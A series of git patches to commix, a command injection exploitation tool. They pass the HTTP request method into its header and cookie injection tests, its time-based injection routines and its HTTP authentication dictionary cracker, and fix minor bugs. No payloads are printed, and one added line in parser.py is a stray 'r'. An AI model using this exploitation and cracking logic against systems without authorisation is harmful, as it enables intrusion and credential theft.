@@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if target host is vulnerable. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 93cca89e05..fb5521812c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -54,9 +54,9 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined method is POST. else : @@ -78,7 +78,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -109,9 +109,9 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined method is POST. else: @@ -135,7 +135,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -149,32 +149,32 @@ def injection_test(payload, http_request_method, url): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -220,23 +220,23 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -301,23 +301,23 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -407,23 +407,23 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -472,23 +472,23 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) diff --git a/src/core/main.py b/src/core/main.py index 076b1f39c1..b1173f972c 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -139,13 +139,13 @@ def examine_request(request, url): def check_internet(url): settings.CHECK_INTERNET = True settings.CHECK_INTERNET_ADDRESS = checks.check_http_s(url) - info_msg = "Checking for internet connection. " + info_msg = "Checking for internet connection." sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) try: - request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS) + request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS, method=settings.HTTPMETHOD.GET) headers.do_check(request) examine_request(request, url) except: @@ -156,7 +156,7 @@ def check_internet(url): """ The init (URL) request. """ -def init_request(url): +def init_request(url, http_request_method): # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." @@ -174,12 +174,12 @@ def init_request(url): # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: settings.PARAMETER_DELIMITER = menu.options.pdel - request = _urllib.request.Request(url, menu.options.data.encode()) + request = _urllib.request.Request(url, menu.options.data.encode(), method=http_request_method) else: # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel - request = _urllib.request.Request(url) + request = _urllib.request.Request(url, method=http_request_method) # Check if defined any HTTP Proxy (--proxy option). headers.do_check(request) # Used a valid pair of valid credentials @@ -198,7 +198,7 @@ def init_request(url): """ Get the URL response. """ -def url_response(url): +def url_response(url, http_request_method): # Check if http / https url = checks.check_http_s(url) settings.TARGET_URL = _urllib.parse.urlparse(url).hostname @@ -206,7 +206,7 @@ def url_response(url): settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 - request = init_request(url) + request = init_request(url, http_request_method) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False if settings.INIT_TEST == True: @@ -221,7 +221,7 @@ def url_response(url): url = redirect_url if not menu.options.skip_waf: settings.WAF_DETECTION_PHASE = True - waf_request, waf_url = checks.check_waf(url) + waf_request, waf_url = checks.check_waf(url, http_request_method) headers.do_check(waf_request) examine_request(waf_request, waf_url) settings.WAF_DETECTION_PHASE = False @@ -861,7 +861,7 @@ def main(filename, url): http_request_method = checks.check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True - response, url = url_response(url) + response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) main(filename, url) @@ -989,7 +989,7 @@ def main(filename, url): menu.options.level = 1 init_injection(url) try: - response, url = url_response(url) + response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) main(filename, url) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 7407b677cf..7bfd54d503 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -37,7 +37,7 @@ """ The authentication process """ -def authentication_process(): +def authentication_process(http_request_method): try: auth_url = menu.options.auth_url auth_data = menu.options.auth_data @@ -55,7 +55,7 @@ def authentication_process(): info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." print(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) - request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. @@ -140,7 +140,7 @@ def define_wordlists(): """ Simple Basic / Digest HTTP authentication cracker. """ -def http_auth_cracker(url, realm): +def http_auth_cracker(url, realm, http_request_method): settings.PERFORM_CRACKING = True # Define the HTTP authentication type. authentication_type = menu.options.auth_type @@ -170,7 +170,7 @@ def http_auth_cracker(url, realm): authhandler.add_password(realm, url, username, password) opener = _urllib.request.build_opener(authhandler) _urllib.request.install_opener(opener) - request = _urllib.request.Request(url) + request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c14d3b2e50..bceb92a274 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -273,12 +273,14 @@ def json_format(parameter): if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: - settings.IS_JSON = checks.process_json_data() + data_type = "JSON" + settings.IS_JSON = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: - settings.IS_XML = checks.process_xml_data() + data_type = "XML/SOAP" + settings.IS_XML = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "" else: pass diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 442201a737..e6911c121a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -46,9 +46,9 @@ def crawler_request(url): try: if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(url) + request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -70,7 +70,7 @@ def crawler_request(url): """ Estimating the response time (in seconds). """ -def estimate_response_time(url, timesec): +def estimate_response_time(url, timesec, http_request_method): stored_auth_creds = False _ = False if settings.VERBOSITY_LEVEL != 0: @@ -79,9 +79,9 @@ def estimate_response_time(url, timesec): sys.stdout.flush() # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE)) + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) headers.do_check(request) start = time.time() @@ -163,7 +163,7 @@ def estimate_response_time(url, timesec): message = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - auth_creds = authentication.http_auth_cracker(url, realm) + auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True @@ -192,7 +192,7 @@ def estimate_response_time(url, timesec): message = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - auth_creds = authentication.http_auth_cracker(url, realm) + auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True @@ -422,19 +422,18 @@ def get_request_response(request): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection(url, vuln_parameter, payload): +def cookie_injection(url, vuln_parameter, payload, http_request_method): - def inject_cookie(url, vuln_parameter, payload): + def inject_cookie(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : payload = _urllib.parse.quote(payload) # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -459,7 +458,7 @@ def inject_cookie(url, vuln_parameter, payload): start = time.time() try: - response = inject_cookie(url, vuln_parameter, payload) + response = inject_cookie(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) @@ -473,16 +472,15 @@ def inject_cookie(url, vuln_parameter, payload): """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection(url, vuln_parameter, payload): +def user_agent_injection(url, vuln_parameter, payload, http_request_method): - def inject_user_agent(url, vuln_parameter, payload): + def inject_user_agent(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -503,7 +501,7 @@ def inject_user_agent(url, vuln_parameter, payload): start = time.time() try: - response = inject_user_agent(url, vuln_parameter, payload) + response = inject_user_agent(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) @@ -517,16 +515,15 @@ def inject_user_agent(url, vuln_parameter, payload): """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection(url, vuln_parameter, payload): +def referer_injection(url, vuln_parameter, payload, http_request_method): - def inject_referer(url, vuln_parameter, payload): + def inject_referer(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -547,7 +544,7 @@ def inject_referer(url, vuln_parameter, payload): start = time.time() try: - response = inject_referer(url, vuln_parameter, payload) + response = inject_referer(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) @@ -561,11 +558,11 @@ def inject_referer(url, vuln_parameter, payload): """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection(url, vuln_parameter, payload): +def host_injection(url, vuln_parameter, payload, http_request_method): payload = _urllib.parse.urlparse(url).netloc + payload - def inject_host(url, vuln_parameter, payload): + def inject_host(url, vuln_parameter, payload, http_request_method): if proxy == None: opener = _urllib.request.build_opener() @@ -573,12 +570,11 @@ def inject_host(url, vuln_parameter, payload): opener = _urllib.request.build_opener(proxy) # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -599,7 +595,7 @@ def inject_host(url, vuln_parameter, payload): start = time.time() try: - response = inject_host(url, vuln_parameter, payload) + response = inject_host(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) @@ -613,16 +609,15 @@ def inject_host(url, vuln_parameter, payload): """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection(url, vuln_parameter, payload): +def custom_header_injection(url, vuln_parameter, payload, http_request_method): - def inject_custom_header(url, vuln_parameter, payload): + def inject_custom_header(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -646,7 +641,7 @@ def inject_custom_header(url, vuln_parameter, payload): start = time.time() try: - response = inject_custom_header(url, vuln_parameter, payload) + response = inject_custom_header(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 7012cffea9..ea05fceb9e 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -45,7 +45,7 @@ def do_check(): print(settings.print_critical_msg(err_msg)) raise SystemExit() try: - request = _urllib.request.Request(settings.CHECK_TOR_PAGE) + request = _urllib.request.Request(settings.CHECK_TOR_PAGE, method=settings.HTTPMETHOD.GET) response = proxy.use_proxy(request) page = response.read().decode(settings.DEFAULT_CODEC) except Exception as err_msg: diff --git a/src/utils/settings.py b/src/utils/settings.py index 856cdbae2d..81938c0119 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4c67d234e40396979999e452b1c8e17759bbc293 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 30 Mar 2024 09:15:26 +0200 Subject: [PATCH 412/560] Fixes https://github.com/commixproject/commix/issues/900 --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 14 ++++++-------- src/utils/settings.py | 2 +- 3 files changed, 8 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 821547cc68..c555163928 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1807,7 +1807,7 @@ def process_data(data_type, http_request_method): elif process in settings.CHOICE_NO: settings.IGNORE_USER_DEFINED_POST_DATA = True return False - elif json_process in settings.CHOICE_QUIT: + elif process in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(json_process) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 558c3b4d15..553be59a20 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -91,7 +91,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -273,18 +272,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = False + if menu.options.method: - http_request_method = menu.options.method + http_request_method = menu.options.method.upper() elif check_parameter.lower() in url : http_request_method = settings.HTTPMETHOD.GET - elif check_parameter.lower() not in menu.options.data: + elif check_parameter.lower() in settings.USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST - if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ - (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): - if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ - any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): - inject_http_headers = True + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ + any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): + inject_http_headers = True # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) diff --git a/src/utils/settings.py b/src/utils/settings.py index 81938c0119..76211bcb06 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d60dd0584bff3b608d66763273cbf43ca613de6a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 1 Apr 2024 09:14:26 +0300 Subject: [PATCH 413/560] Trivial update & potential fix https://github.com/commixproject/commix/issues/899 --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/parser.py | 8 +++++++- src/core/main.py | 3 +-- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 18 ++++++++++++------ src/utils/settings.py | 2 +- 6 files changed, 23 insertions(+), 12 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c555163928..34ae3defc8 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1810,7 +1810,7 @@ def process_data(data_type, http_request_method): elif process in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(json_process) + common.invalid_option(process) pass """ diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 84ca9ad1af..c0e43583eb 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -76,6 +76,7 @@ def invalid_data(request): with open(request_file, 'r') as file: request = file.read() else: + r invalid_data(request_file) if menu.options.requestfile: @@ -86,10 +87,14 @@ def invalid_data(request): x = request_lines[c].find(':') header_name = request_lines[c][:x] header_value = request_lines[c][x + 1:] + if menu.options.header: + request_headers.append(menu.options.header) + elif menu.options.headers: + request_headers.extend(menu.options.headers.split("\\n")) request_headers.append(header_name + ": " + header_value) c += 1 c += 1 - menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else invalid_data(request_file)) + menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "") settings.RAW_HTTP_HEADERS = '\\n'.join(request_headers) except IOError as err_msg: @@ -163,6 +168,7 @@ def invalid_data(request): # Extra headers menu.options.headers = extra_headers + # Target URL if not menu.options.host: invalid_data(request_file) diff --git a/src/core/main.py b/src/core/main.py index b1173f972c..d2470a5451 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -643,8 +643,7 @@ def main(filename, url): settings.DEFAULT_CODEC = menu.options.codec.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: - warn_msg = "Swithing '--header' to '--headers' " - warn_msg += "due to multiple extra HTTP headers." + warn_msg = "Due to multiple provided HTTP headers, swithing '--header' to '--headers'." print(settings.print_warning_msg(warn_msg)) if menu.options.method: diff --git a/src/core/requests/headers.py 